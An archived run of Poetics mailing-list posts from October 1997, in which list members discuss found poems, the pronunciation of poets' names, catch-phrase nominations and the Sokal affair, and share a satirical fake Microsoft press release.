After a good, candid letter about Comprepoetica's survey form from Aviva, I made a change in it, splitting it into a main survey that is literary only, and a supplement you can go to from the main survey if you want to. It has all the personal questions, including the WORST one of all! (How much money do you make a year?) I hope this keeps the personal questions from making anyone uneasy while keeping them available for those who enjoy those kind of questions.

Since I last posted, I've gotten two more responses to the main survey. But now I have the flu so probably won't be able to tend to them for a while.

Here's the address again, mainly because I seem not to have gotten it right every time I've posted it:

http://www.geocities.com/soho/cafe/1492

Cheers, Bob G.

↑ Index

560. Loss Glazier
Announcement re: EPC
Tue 28 Oct 1997

Announcement re: Electronic Poetry Center
http://writing.upenn.edu/epc
Dear Poetics:
Re any EPC items, this is a message to let you know that
it will be difficult for me to get to my e-mail from now until
November 15th. Therefore, please hold any EPC business until then. For
urgent or time-sensitive matters you can check with Charles Bernstein
[redacted] who I'm sure will be glad to help.
Thanks!
Loss Glazier for the EPC

↑ Index

561. Carolyn Guertin
Mac Cormack/McCaffery
Tue 28 Oct 1997

Does anyone have a current e-mail address for Karen or Steve? Please backchannel.

Thanks,
Carolyn

_____
Carolyn Guertin, Department of English, University of Alberta
E-Mail: [redacted]; Tel/FAX: [redacted]
Website: http://www.ualberta.ca/~cguertin/Guertin.htm
"Memory is a capricious seamstress." -- Virginia Woolf

↑ Index

562. Kenneth Goldsmith
Re: Another Idea
Tue 28 Oct 1997

Mark--

I got your poems yesterday and loved what I saw!! Really, it's some of the freshest stuff I've come across. And this is really important because so much Language-based writing has become so cliched. I feel (as do you) that we can use the tremendous breakthroughs that an earlier generation made to address writing today--content today. It never seemed to occur to anybody that language intact and appropriated could be just as skewed as formally fudged language. As

a matter of fact, most of the language floating around out there is so trippy and experimental just the way it is. It doesn't take much. And there's so damn much of it. John Cage talked about McLuhan's idea of "brushing" back in the 60s as being the ideal way to create art--it's effortless and the results are shocking. However, Cage (and most of the Language Poets for that matter) had such a high resolution edit and purity lens on the world that they they missed most of the good stuff. Perhaps it's partly due to plunderphonic tendencies in music and appropriation strategies in art over the last decade that we can finally dirty our hands with words, eh?

Best,
Kenny

↑ Index

563. Steven Marks
puffs came in lanes
Tue 28 Oct 1997

I was going to post this a few days ago when I first came across it at a boating magazine where I do some freelance copy editing. The following remark in K. Goldsmith's seemingly indavertent post pushed me to do it:

> *As a matter of fact, most of the language floating around*
> *out there is so trippy and experimental just the way it is.*

Here's the interesting combination of words I came across. They were spoken by a winning sailor right after his race (lineation supplied by me):

The puffs came in lanes,
so we sheeted tighter to keep the bow
up
to stay in the puff
                longer.
We sailed to the puffs
and there was an overall persistent
shift
                to the right.
I noticed that the back
of the fleet had their jib leads
too far
forward
and their mains were sheeted too l o o s e.
We moved our jib leads
forward
from light to medium

and forward again
when the chop picked up
in the afternoon.

(For you boating enthusiasts, the boat being sailed was a Snipe at the US Nationals.)

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

564. Alan Grep Sondheim

poem-message on the moo (fwd)

Tue 28 Oct 1997

-

(the following was sent to a moo email list, on the suggestion that staff be signifiers, or so i think - anyway, where are signifieds, signifiers, significance, here, there, everywhere in the top-to-bottom space?)

signified

would rather you be signified
we're all signifiers here, we can't start
or speed the hard-drive, assign sectors, fuck up the mbr
and maybe you can't either, but you can be closer
to the source and the way that the language gets formed
spit out of the mouth of the database, shoved back in
taking its place, well, we're all numbers here
and elsewhere in our dark history, carrying them uselessly,
but you can expand or contract us, maybe
you can issue shutdown as well, checkpoint charlie,
cross the river under the bridge,
MOOs are always honest Berlin
before there was Berlin, and always honest difference
before anyone begged pardon,
said excuse me to anyone else, lowered the eyes, brushed the hair back,
ready to invent the sign

[sector - part of hard-drive disk accessed by an operating system. mbr - master boot record, a small section of the disk which boots the entire computer when it's turned on.]

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565. **Thomas Bell**
address
Wed 29 Oct 1997

Does anyone have snail mail or email address for Mark Ducharme.
backchannel. Thank you.
tom bell
[redacted]

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566. **Sylvester Pollet**
Re: puffs came in lanes
Wed 29 Oct 1997

But isn't that just clear writing of the "old" school? Nothing unclear there for anyone with some sailing experience/vocabulary, just plain narrative of the type one might read in any captain's log of the 1800s. Is it odd because it's now in cyberspace? Lineation doesn't make it odd, really. (I should add that I do add a found poem to a reading from time to time, so I'm not attacking the practice).

> *I was going to post this a few days ago when I first came across it at a boating magazine where I do some freelance copy editing. The following remark in K. Goldsmith's seemingly indavertent post pushed me to do it:*
>
> *As a matter of fact, most of the language floating around*
> *out there is so trippy and experimental just the way it is.*
>
> *Here's the interesting combination of words I came across. They were spoken by a winning sailor right after his race (lineation supplied by me):*
>
> *The puffs came in lanes,*
> *so we sheeted tighter to keep the bow*
> *up*
> *to stay in the puff*
> *longer.*
> *We sailed to the puffs*
> *and there was an overall persistent*
> *shift*
> *to the right.*
> *I noticed that the back*
> *of the fleet had their jib leads*
> *too far*

> *forward*
> *and their mains were sheeted too l o o s e.*
> *We moved our jib leads*
> *forward*
> *from light to medium*
> *and forward again*
> *when the chop picked up*
> *in the afternoon.*
>
> *(For you boating enthusiasts, the boat being sailed was a Snipe at the US Nationals.)*
>
> ---
> *Steven Marks*
>
> *http://members.aol.com/swmarks/welcome.html*
> ---

↑ Index

567. **Marcella**
FW: Mass disappearance
Wed 29 Oct 1997

Dan Bouchard is alive--he was in NYC last weekend; however, I found e-mail bounced too (I think he changed his e-mail), and he's apparently travelling for a couple of weeks, so that may be reason for the snail mail. The third issue of Mass Ave is out & looks great.

From: Mark Prejsnar
Sent: Tuesday, October 28, 1997 2:40 PM
To: [redacted]
Subject: Mass disappearance

Message from (to?) the twilight zone....

Both snail and e-mail to D. Bouchard and Mass. Ave. seem to be bouncing...For me at least.

Dan, you out there? Info anyone?

Mark Prejsnar
atlanta

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568. **Steven Marks**
Re: puffs came in lanes
Wed 29 Oct 1997

You're right. It is very clear writing to some people. And even though I work for a boating magazine and know next to nothing about sailing, I eventually found it to be very clear as well. But still somewhat strange. If you read the description literally (that is, with the meanings commonly associated with the words), you come up with either something surrealistic or humorous, or both.

I agree, too, that the lineation doesn't necessarily make it odd. I debated whether to do this or not, but decided what the hell, it was midnight, the list was quiet and I had never tried anything like this before.

cheers and may the wind stiffen your main,
Steven

On Wed, 29 Oct 1997, Sylvester Pollet wrote:

> *But isn't that just clear writing of the "old" school? Nothing unclear there for anyone with some sailing experience/vocabulary, just plain narrative of the type one might read in any captain's log of the 1800s. Is it odd because it's now in cyberspace? Lineation doesn't make it odd, really. (I should add that I do add a found poem to a reading from time to time, so I'm not attacking the practice).*
>
> *I was going to post this a few days ago when I first came across it at a boating magazine where I do some freelance copy editing. The following remark in K. Goldsmith's seemingly indavertent post pushed me to do it:*
>
> *As a matter of fact, most of the language floating around*
> *out there is so trippy and experimental just the way it is.*
>
> *Here's the interesting combination of words I came across. They were spoken by a winning sailor right after his race (lineation supplied by me):*
>
> *The puffs came in lanes,*
> *so we sheeted tighter to keep the bow*
> *up*
> *to stay in the puff*
> *longer.*
> *We sailed to the puffs*
> *and there was an overall persistent*
> *shift*
> *to the right.*
> *I noticed that the back*
> *of the fleet had their jib leads*
> *too far*

> *forward*
> *and their mains were sheeted too l o o s e.*
> *We moved our jib leads*
> *forward*
> *from light to medium*
> *and forward again*
> *when the chop picked up*
> *in the afternoon.*
>
> *(For you boating enthusiasts, the boat being sailed was a Snipe at the US Nationals.)*
>
> ---
> *Steven Marks*
>
> *http://members.aol.com/swmarks/welcome.html*
> ---

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

569. **henry gould**
Re: puffs came in lanes
Wed 29 Oct 1997

I'm sure Uncle Herman would approve, and he's captain of the ship.
Moby-Dick was first published in the US on Nov. 14, 1851.
Now quit your sniping & get below.
- Master "Keel-Haul-My-Ass" Spandrift

↑ Index

570. **William Burmeister Prod**
Re: puffs came in lanes
Wed 29 Oct 1997

On Oct 28, 11:19pm, Steven Marks wrote:
> Subject: puffs came in lanes
> I was going to post this a few days ago when I first came across it at a
> boating magazine where I do some freelance copy editing. The following

> remark in K. Goldsmith's seemingly indavertent post pushed me to do it:
>
> > As a matter of fact, most of the language floating around
> > out there is so trippy and experimental just the way it is.
>
> Here's the interesting combination of words I came across. They were
> spoken by a winning sailor right after his race (lineation supplied by
> me):
>
> The puffs came in lanes,
> so we sheeted tighter to keep the bow
> up
> to stay in the puff
> longer.
> We sailed to the puffs
> and there was an overall persistent
> shift
> to the right.
> I noticed that the back
> of the fleet had their jib leads
> too far
> forward
> and their mains were sheeted too l o o s e.
> We moved our jib leads
> forward
> from light to medium
> and forward again
> when the chop picked up
> in the afternoon.
>
>
> (For you boating enthusiasts, the boat being sailed was a Snipe at the US
> Nationals.)
>
>
> _____
> Steven Marks
>
> http://members.aol.com/swmarks/welcome.html
> _____
>-- End of excerpt from Steven Marks

Nice for midnight is a good time for this sort of thing. The possibilities still abound it's content reminds of Olson's _Maximus_.

Bill B.

↑ Index

571. William Burmeister Prod

Re: poem-message on the moo (fwd)

Wed 29 Oct 1997

On Oct 28, 11:35pm, Alan Grep Sondheim wrote:
> Subject: poem-message on the moo (fwd)
> -
>
>
> (the following was sent to a moo email list, on the suggestion that staff
> be signifiers, or so i think - anyway, where are signifieds, signifiers,
> significance, here, there, everywhere in the top-to-bottom space?)
>
>
>
> signified
>
> would rather you be signified
> we're all signifiers here, we can't start
> or speed the hard-drive, assign sectors, fuck up the mbr
> and maybe you can't either, but you can be closer
> to the source and the way that the language gets formed
> spit out of the mouth of the database, shoved back in
> taking its place, well, we're all numbers here
> and elsewhere in our dark history, carrying them uselessly,
> but you can expand or contract us, maybe
> you can issue shutdown as well, checkpoint charlie,
> cross the river under the bridge,
> MOOs are always honest Berlin
> before there was Berlin, and always honest difference
> before anyone begged pardon,
> said excuse me to anyone else, lowered the eyes, brushed the hair back,
> ready to invent the sign
>
>
> [sector - part of hard-drive disk accessed by an operating system. mbr -
> master boot record, a small section of the disk which boots the entire

> computer when it's turned on.]
>
> _____
>-- End of excerpt from Alan Grep Sondheim

we've all done it
needed to find a nugget
of data
couldn't remember
stored where we
couldn't remember

in this instance
we had grep search
for a single word

to have grep search
to have grepped
a wildcard to have grep

as we can see
grep returns
grep searches
grep looks
grep uses
grep and rules

if you don't want grep
egrep
but do so

-Bill B.

↑ Index

572. **Harold Rhenisch**
Re: puffs came in lanes
Wed 29 Oct 1997

Well,

I don't think found poems serve to show the oddities of language. Rather, they abstract language from its original context to force the meaning to shift. That shift is the interesting part. Tame stuff, sure, and not a huge shift, but it is still more than just clear writing of the "old" school.

Harold

On Wed, 29 Oct 1997, Sylvester Pollet wrote:

> But isn't that just clear writing of the "old" school? Nothing unclear
> there for anyone with some sailing experience/vocabulary, just plain
> narrative of the type one might read in any captain's log of the 1800s.
Is
> it odd because it's now in cyberspace? Lineation doesn't make it odd,
> really. (I should add that I do add a found poem to a reading from time
to
> time, so I'm not attacking the practice).
>
> >I was going to post this a few days ago when I first came across it at a
> >boating magazine where I do some freelance copy editing. The following
> >remark in K. Goldsmith's seemingly indavertent post pushed me to do it:
> >
> >> As a matter of fact, most of the language floating around
> >> out there is so trippy and experimental just the way it is.
> >
> >Here's the interesting combination of words I came across. They were
> >spoken by a winning sailor right after his race (lineation supplied by
> >me):
> >
> >The puffs came in lanes,
> >so we sheeted tighter to keep the bow
> >up
> >to stay in the puff
> >   longer.
> >We sailed to the puffs
> >and there was an overall persistent
> >shift
> >   to the right.
> >I noticed that the back
> >of the fleet had their jib leads
> >too far
> >forward
> >and their mains were sheeted too l o o s e.
> >We moved our jib leads
> >forward
> >from light to medium
> >and forward again
> >when the chop picked up
> >in the afternoon.
> >
> >

> >(For you boating enthusiasts, the boat being sailed was a Snipe at the US
> >Nationals.)
> >
> >
> >_____
> > Steven Marks
> >
> > http://members.aol.com/swmarks/welcome.html
> >_____
>

_____
  Steven Marks

  http://members.aol.com/swmarks/welcome.html

_____

↑ Index

573. **Alan Grep Sondheim**
Re: poem-message on the moo (fwd)
Wed 29 Oct 1997

"Although I find my post awk-word, your reply greps me," Biff sed.

Echo, cat Alan :-)

(sorry for the in-jokes)

↑ Index

574. **Bob Grumman**
A Big Innovation at Comprepoetica
Wed 29 Oct 1997

Mark Prejsnar just sent in a completed survey form (thanks, Mark!) and I suddenly realized for some reason that I didn't know how to pronounce his last name, so I now have a slot in my survey for the pronunciation of a respondent's name. This, I think, is possibly the BEST THING I've introduced to my site! (I still don't know the correct pronunciation of Roethke's name, for people claiming to have known him have given me different pronunciations--which brings me to a question: is there a reference one can use to find out how names of poets or other writers, artists, scientist, whatever, are pronounced? On the web, I mean.)

The comprepoetical bio-base has now expanded to 17, by the way. Hurry and fill out a survey before we run out of room!

--Bob G.

↑ Index

575. **William Burmeister Prod**
Re: poem-message on the moo (fwd)
Wed 29 Oct 1997

On Oct 29, 12:45pm, Alan Grep Sondheim wrote:
> Subject: Re: poem-message on the moo (fwd)
> "Although I find my post awk-word, your reply greps me," Biff sed.
>
> Echo, cat Alan :-)
>
> (sorry for the in-jokes)
>-- End of excerpt from Alan Grep Sondheim

Interesting word grep (that is, it is interesting as a word). It has such a Dr.Seuss quality about it. The grep poem was written on the spur of the moment as a found language poem (from a "Teach yourself... UNIX" manual!) after I saw your newly acquired middle name. This process keeps reminding me that it is about chance, about spontaneity,and so rather than trying to do too much with a text, one is often better off letting it take you where it will (that is, go with it, go to the opposite field).

Bill B.

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576. **Rachel Loden**
season of the witch
Wed 29 Oct 1997

My husband, a radio listener, claims that he heard (Chinese President) Jiang Zemin singing "Love Me Tender."

Jiang, then in Manila, also performed "Swanee River," calling it his "favorite tune."

~ ~

Is it not delightful to have friends coming from distant quarters?

--Confucius

~ ~

Adventures with Mike and Dale: among the good stuff in _Mike and Dale's Younger Poets_ is an interview with Edward Dorn. After a few warm-up insults, he calls Gertrude Stein "a slug that should have had salt poured on her."

Michael Gold, meet Ed Dorn!

~ ~

Apparently there is a "David Bromwich" in the English Dept. at Yale. Am I the only one who finds this frightening?

Rachel Loden

↑ Index

577. **cris cheek**
Re: ILS 1.8/Watten on the (Assembly) Line
Thu 30 Oct 1997

Hi Steve,

just back from stateside.

Extremely eager to get copy of Barrett's paper
and others in the series if possible.

What's best way of doing so?

Am happy to swap, but you may well need the dosh.
Advisory note please.

I'm at : 85 London Road South. Lowestoft. Suffolk NR33 OAS. UK

hope you're dandy
love and love
cris

↑ Index

578. **Douglas Barbour**
Re: season of the witch
Thu 30 Oct 1997

But is the possibility that "there is a "David Bromwich" in the English Dept. at Yale" frightening to yaleys or to the world (the poetic world) at large?

As for Ed Dorn insults, are they not a given now (at least according to what the list heard much earlier this year)? Meaning the targets achieve a kind of apotheosis through being insulted by Ed Dorn (if anyone was paying attention). Sad: I want to remember the writer (& the writing) in the early books & _Slinger_...

Doug

==========
==========

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]

~~~
~~~

monk, from Poland." (There is indeed a big house owned by the HK's near my neighborhood..) I showed him my name on my driver's license, and he said he would say the name like my father, which I realize now does correspond to what I know about slavic phonetics. (Both my parents were born in this country but grew up bi-lingual and have fluent Polish; however my mother has always been much more assimilationist, and this may account for her americanizing the name; her own name was Trepczencski.) Although I've always encountered a certain number of people who say Prejsnar is slightly unusual for a Polish name, including my Hare Krishna friend, (others deny that) it has never been changed in this country. I recently got confimation of that: one distant kinsman of ours emigrated to Norway from Poland, and I recently got an e-mail message from a descendant of that branch, a Norwegian (who has good english, which I understand is pretty common) in Oslo named Jan Prejsnar; he was looking for a cousin of his named Marek Prejsnar, whose whereabouts in the world he's not certain of..

So, here's the big answer (it's charming of Bob to imply that anyone much *cares*....): these days, thanx to my Hari Krishna encounter, I tend to say PRAISE-ner or PRAISE-nahr most frequently;...it's in to go back to your ethnic roots, nicht wahr??? But PREZH-ner and PREZ-ner (which I used to favor 'cause it makes it easy for people) are used all the time, including by many of us in the family, so they seem pretty acceptable to me. Hopefully this instability makes me fashionably post-modern....

Mark P.
Atlanta

On Wed, 29 Oct 1997, Bob Grumman wrote:

> *Mark Prejsnar just sent in a completed survey form (thanks, Mark!) and I suddenly realized for some reason that I didn't know how to pronounce his last name, so I now have a slot in my survey for the pronunciation of a respondent's name. This, I think, is possibly the BEST THING I've introduced to my site! (I still don't know the correct pronunciation of Roethke's name, for people claiming to have known him have given me different pronunciations--which brings me to a question: is there a reference one can use to find out how names of poets or other writers, artists, scientist, whatever, are pronounced? On the web, I mean.)*
>
> *The comprepoetical bio-base has now expanded to 17, by the way. Hurry and fill out a survey before we run out of room!*
>
> *--Bob G.*

↑ **Index**

580. **hg**
pronounce-ment
Thu 30 Oct 1997

ok, lemme jump in here on this important thread of name-pronouncing which along with cuneiform is one of the essential things in poetics. Mark, from now on I'm gonna call you "Prez", if you don't mind. now MY name shd alwuhs be pronounced like this: HIN-rahhhh... with a long gutteral slide at the end. "Gould" shd be emitted like you got somethin stuck in your throat when you started to cry & started laughing instead. As uncle Herman wrote somewhere [to paraphrase]: "Life - ha - ah - that about covers it, huh?" - Hinrah Gugglued

↑ Index

581. **aerialedge**
Nominations please
Thu 30 Oct 1997

for best poetics catch phrase of the year
(10 words or less, easily printed on banners)

"I do not this I do not that"
--Jordan Davis, "Poem on a Train"

"I write for myself and strangeness"
--Tim Davis, recent Here reading

↑ Index

582. **Dean A. Brink**
Re: A Big Innovation at Comprepoetica
Thu 30 Oct 1997

Mark Prejsnar wrote:

> *I've generally heard and said RETH-kah; I've certainly also heard RETH-kee; this is typical of the ways german names come into american.....You also hear NEECH-ah and NEECH-ee; kind of a part of the equipment our speech has. (It would be mildly interesting I agree to know how Big Ted himself prefered it...) (Big Fred of course didn't give much of a hoot about americans...)*

Going by the pronunciation of one of Roethke's student/colleagues, Nelson Bentley, he must have gone by RET-kee. But, in Roethke's family, being German, they may have said it according to a German dialect (similar to what Mark suggested).

dean brink
abd EALC UChicago

[redacted]
interpoetics - poetry of Asia and the Pacific Rim
www.w-link.net/~dean/interpoetics/index.html

↑ Index

583. **p. durgin**
Re: Nominations please
Thu 30 Oct 1997

"Want my advice; Hijack the hearse"
-- Charles Bernstein

|||[redacted]|||

_____

On Thu, 30 Oct 1997 [redacted] wrote:

> *for best poetics catch phrase of the year*
> *(10 words or less, easily printed on banners)*
>
> *"I do not this I do not that"*
> *--Jordan Davis, "Poem on a Train"*
>
> *"I write for myself and strangeness"*
> *--Tim Davis, recent Here reading*

↑ Index

584. **Carol Mirakove**
Re: Nominations please
Thu 30 Oct 1997

"Go ahead and blow us up, just spare me the warnings."

"To hell with this social angst, let's make beads."

both from Mark Wallace's _Nothing Happened and Besides I Wasn't There_

↑ Index

585. **acgold01**
Broms
Thu 30 Oct 1997

Not only that, Rachel, but there are circles in which he is *the* "David Bromwich," whereas the other one ("ours") is simply *a* "David Bromige."

On the other hand, poet and critic Norman Finkelstein is Norman Finkelstein, not the Norman Finkelstein with whom he's often confused.

↑ Index

586. **Mark Prejsnar**
Re: pronounce-ment
Thu 30 Oct 1997

On Thu, 30 Oct 1997, hg wrote:

> *Mark,*
> *from now on I'm gonna call you "Prez", if you don't mind.*

Does that mean I get veto power over posts to the List?

↑ Index

587. **Gwyn McVay**
Re: A Big Innovation at Comprepoetica
Thu 30 Oct 1997

O for pete's sake, I thought everybody knew it was pronounced "Throatwobbler-Mangrove."--g.

On Thu, 30 Oct 1997, Dean A. Brink wrote:

> *Mark Prejsnar wrote:*
>
> *I've generally heard and said RETH-kah; I've certainly also heard RETH-kee; this is typical of the ways german names come into american.....You also hear NEECH-ah and NEECH-ee; kind of a part of the equipment our speech has. (It would be mildly interesting I agree to know how Big Ted himself prefered it...) (Big Fred of course didn't give much of a hoot about americans...)*
>
> *Going by the pronunciation of one of Roethke's student/colleagues, Nelson Bentley, he must have gone by RET-kee.*
> *But, in Roethke's family, being German, they may have said it according to a German dialect (similar to what Mark suggested).*
>
> *dean brink*
> *abd EALC UChicago*
> [redacted]
> *interpoetics - poetry of Asia and the Pacific Rim*
> *www.w-link.net/~dean/interpoetics/index.html*

↑ Index

588. **Gwyn McVay**
Re: Nominations please
Thu 30 Oct 1997

Charles Bernstein, a poem I don't know but one he read at Bridge Street, and he still owes me a book:

"Form should never be more than an expression of malcontent."

↑ Index

589. **Tom Beard**
Re: puffs came in lanes
Thu 30 Oct 1997

Another marine/meteorological found poem. The words are taken from text descriptions of Beaufort wind strengths, and re-arranged at the sentence/phrase/word level.

Admiral Beaufort's Final Log

> Smoke rises; sea
> like a mirror.
> Do not break.
>
> A glassy appearance fills
> the sails. Crests, white horses
> begin to careen.
>
> Whistling, those at sea break
> into the spindrift.
>
> Damage the wind and roll
> over, uprooted. The sea becomes
> heavy, lost to view.
>
> Ships might be blown
> into froth: for a time
> the air is filled.
>
> Tom Beard.

↑ Index

590. **hghghghg**
Re: pronounce-ment
Thu 30 Oct 1997

On Thu, 30 Oct 1997 15:34:38 -0500 Mark Prejsnar said:
>On Thu, 30 Oct 1997, hg wrote:

>
>> Mark,
>> from now on I'm gonna call you "Prez", if you don't mind.
>
>
>Does that mean I get veto power over posts to the List?

No, only votive mana & the lingo-lingam atom-aten aquavita, if Moby sez it's o.k. - your friend, Queequeg

↑ Index

591. **Safdie Joseph**
Re: pronounce-ment
Thu 30 Oct 1997

> On Thu, 30 Oct 1997, hg wrote:
>
> > Mark,
> > from now on I'm gonna call you "Prez", if you don't mind.
>

And Mark replied:

> Does that mean I get veto power over posts to the List?
>

Yes, but it's only a line item veto, so all you can do is blot out an offending line, not the whole post.

It's either that or learn how to play tenor sax . . .

↑ Index

592. **hghghghg**
Re: A Big Innovation at Comprepoetica
Thu 30 Oct 1997

On Thu, 30 Oct 1997 16:10:57 -0500 Gwyn McVay said:
>O for pete's sake, I thought everybody knew it was pronounced
>"Throatwobbler-Mangrove."--g.

yeah, but in northern Michigan it's just "Mangrove ROOT-key swamp". - Stubb

↑ Index

593. **Bob Grumman**
Re: pronounce-ment
Thu 30 Oct 1997

Watch out, Hinrah: all you've just said about your name will be going into the unauthorized bio that will be prepared for you at Comprepoetica if you don't soon fill out a survey.

Bob G., 20th-Cent. Aubrey

↑ Index

594. **Brian Carpenter**
Re: Nominations please
Thu 30 Oct 1997

"Suddenly it occurred to me, why not write sentences?"
--Ezra Mark at a recent Subtext reading

On Thu, 30 Oct 1997, p. durgin wrote:

> *"Want my advice; Hijack the hearse"*
> *-- Charles Bernstein*
>
> |||[redacted]|||
>
> ---
>
> *On Thu, 30 Oct 1997 [redacted] wrote:*
>
> *for best poetics catch phrase of the year*
> *(10 words or less, easily printed on banners)*
>
> *"I do not this I do not that"*
> *--Jordan Davis, "Poem on a Train"*
>
> *"I write for myself and strangeness"*
> *--Tim Davis, recent Here reading*

↑ Index

595. **David R. Israel**
Re: Nominations please
Thu 30 Oct 1997

> *for best poetics catch phrase of the year*
> *(10 words or less, easily printed on banners)*

going a tad afirld -- how about:

* * * * * * * *

"Everything she said sounded both true and false."

* * * * * * * *

 - Anatole Broyard, *Kafka Was All the Rage:
   A Greenwich Village Memoir* (1993; Vintage: 1997), p. 5

* * * * * * * *

it's a rather fun book I'm just getting into (thanks for selling it to me at Bridge Street, Rod). Other than having seen his name periodically blazoned across the cover of the New York Review of Books, can't say I know anything much about this guy Broyard, -- but his sentences in *Kafka Was* are very smooth & . . . enjoyable (or many of 'em).

The only other volume they credit to Anatole Broyard is one entitled *Intoxicated By My Illness* which is a heck of a title. Says here he died in Cambridge, Mass. in '90 -- so this (*Kafka*) would appear to be a posthumous memoir

d.i.

```
 .
 .....
 ............
 \\\\
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597. Ed Moran /General Pub. 4th Floor
Re: Nominations please
Fri 31 Oct 1997

> for best poetics catch phrase of the year
> (10 words or less, easily printed on banners)
>
"You lack half wit"
--Marianne Moore, "To A Steamroller"

↑ Index

598. Brent Long
Re: Nominations please
Fri 31 Oct 1997

Is there a site where all nominations are or will be listed?

Thanks,

Brent

At 11:17 AM 10/31/97 EST, you wrote:
>> for best poetics catch phrase of the year
>> (10 words or less, easily printed on banners)
>>
>"You lack half wit"
> --Marianne Moore, "To A Steamroller"
>
>

↑ Index

599. p. durgin
Re: Nominations please
Fri 31 Oct 1997

Sounds like a job for Coprepoetica.

|||[redacted]|||

On Fri, 31 Oct 1997, Brent Long wrote:

> *Is there a site where all nominations are or will be listed?*
>
> *Thanks,*
>
> *Brent*

> *At 11:17 AM 10/31/97 EST, you wrote:*
> *for best poetics catch phrase of the year*
> *(10 words or less, easily printed on banners)*
>
> *"You lack half wit"*
> *--Marianne Moore, "To A Steamroller"*

↑ Index

600. **R. Gancie**

SOKAL AND LACAN

Fri 31 Oct 1997

Henry: You miss the point. Lacan as a medical doctor WAS a scientist. Many of the people that Sokal, Gross and Levitt choose to attack ARE scientists. They ARE attacking science. Weinberg attacks Heisenberg as readily as anyone else. The Post-Modernists merely serve as a conduit for theses attacks. Gross and Levitt attack environmentalists, philosphers of science, physicists, biologists---in short anyone that does not agree with their corporate friendly position. Sokal, Gross, Levitt and by association Weinberg do not want to partake in a discussion of the efficacy or weakness of their position. They want it accepted by fiat. Why do you think Sokal chose the route of publication he chose? In my neighborhood, we used to beat the crap out of sneaks like Sokal whether they had a point or not. Sokal's way would simply not be considered an honest way to handle your differences. The Post-Modernists have provided Sokal's handlers an opportunity to wage a much wider attack. On this measily little E-Mail we have engaged in philosophical banter far more profound than that engaged in by Gross and Levitt, Sokal and Weinberg and that ain't sain' much. (For someone on the list to have said that Weinberg's piece in the N.Y.Times Review was closely argued is nonsense.) At least, Gross and Levitt seem to realize that they are attempting to discard serious concerns that the founding fathers of physics in particular addressed earlier in the century. In their book, they gingerly tried to create a PostModernist intellectual discretion where none exists.

POSTMODERNISTS DID NOT INITIATE THE CONCERNS THAT SOKAL, GROSS, LEVITT AND WEINBERG RIDICULE---SCIENTISTS DID, INCLUDING SOME OF THE GIANTS OF PHYSICS. That's where I learned about them not through PostModernism. I'm assuming I still retain the right to ruminate on these supposed lunacies as postulated by apparent lightweights as Heisenberg, Bohr, Bohm, Penrose, Hansen, Feyerabend, Wittgenstein, Husserl etc. At risk of distracting you from the above consideration, I'd like to elaborate on Brennan's "goliath." In the nineteen seventies, there was a conscious decision on the part of corporate entities to create a new public relations network of think tanks and institutionally connected organizations that sole purpose was to produce intellectual product to counter what they perceived as dangerous egalitarian trends in society. Some of the authors of this reactionary product are well known such as Murray and Herrnstein, Theodore Shockley, Dinesh D'Souza, Francis Fukiyama, Allan Bloom and Gross and Levitt. I would suspect that the liberal and/or obscure Marxist leanings of some of the Deconstructionists and their PostModern adherents has more to do with the attack on them than their positions vis a vis the sciences. You seem to realize with much enthusiasm that PostModernist thought can have no effect on the juggernaut of science because of technologies fundamental relation to what is currently society's most profound truth--money. But when voters in Texas rejected a huge particle accelerator to be built in their home state, alarms went off among jilted corporate contractors and they want answers from the egg heads on their payrolls. The chance to have the biggest particle accelerator in the world was rejected by Texans after all! Sokal's piece arrived at one of the right places at the right time and now if he can stomach what he's doing, he'll reap his reward. Ask yourself this Henry, if as you say, the accomplishments of POSTMODERN ARTISTS are confined to "special languages and metaphors" why are the powers that be expending so much time and money to refute them? Why not just ignore them? One doesn't have to look too far to see that the war is among environmantal scientists and corporate scientists, between scientific racism and its close association with emerging genetic technologies and scientists that take a more egalitarian position, between a world run on market logic and corporate science's technological rationalism and the health and social requirements of our species and all the others we have created the discretion of species for. PostModernism because of its interest in physics and mathematics in the years between the introduction of Planck's Constant and Heisenberg's and Bohr's mathematical expressions for quantum phenomena, finds itself caught up in the larger struggle. I envy them. Its always better to be attacked by "goliath" than be attacked by a goliath wannabee like you.---Carlo Parcelli

↑ Index

601. **David Benedetti**
Re: Nominations please
Fri 31 Oct 1997

"I'm not averse to poetry"

--overheard at a reading, and I can't remember which

↑ Index

602. **Pritchett,Pat**
Re: Nominations please
Fri 31 Oct 1997

"Poetry is like a movie star without any fans."

This is from Jack Collom's new collection of children's poetry, _A Slow Flash of Light_, to be released soon by Teachers & Writers. There are many other equally delicious and very funny poems in it. I don't recall the author's name.

Patrick Pritchett

↑ Index

603. **Bob Grumman**
A News Release
Fri 31 Oct 1997

Geof Huth passed the following on to me and I thought it might amuse the group:

A reorganization we can all support:

Microsoft Addresses Justice Department Accusations REDMOND, Wash. - Oct. 21, 1997 -- In direct response to accusations made by the Department of Justice, the Microsoft Corp. announced today that it will be acquiring the federal government of the United States of America for an undisclosed sum.

"It's actually a logical extension of our planned growth", said Microsoft chairman Bill Gates, "It really is going to be a positive arrangement for everyone".

Microsoft representatives held a briefing in the oval office of the White House with U.S. President Bill Clinton, and assured members of the press that changes will be "minimal." The United States will be managed as a wholly owned division of Microsoft. An initial public offering is planned for July of next year, and the federal government is expected to be profitable by "Q4 1999 at latest," according to Microsoft vice president Steve Ballmer.

In a related announcement, Bill Clinton stated that he had "willingly and enthusiastically" accepted a position as a vice president with Microsoft, and will continue to manage the United States government, reporting directly to Bill Gates. When asked how it felt to give up the mantle of executive authority to Gates, Clinton smiled and referred to it as "a relief." He went on to say that Gates has a "proven track record," and that U.S. citizens should offer Gates their "full support and confidence." Clinton will reportedly be earning several times the $200,000 annually he has earned as U.S. president, in his new role at Microsoft.

Gates dismissed a suggestion that the U.S. Capitol be moved to Redmond as "silly", though did say that he would make executive decisions for the U.S. government from his existing office at Microsoft headquarters. Gates went on to say that the House and Senate would "of course" be abolished. "Microsoft isn't a democracy," he observed, "and look how well we're doing".

When asked if the rumored attendant acquisition of Canada was proceeding, Gates said, "We don't deny that discussions are taking place."

Microsoft representatives closed the conference by stating that United States citizens will be able to expect lower taxes, increases in government services, and discounts on all Microsoft products.

About Microsoft

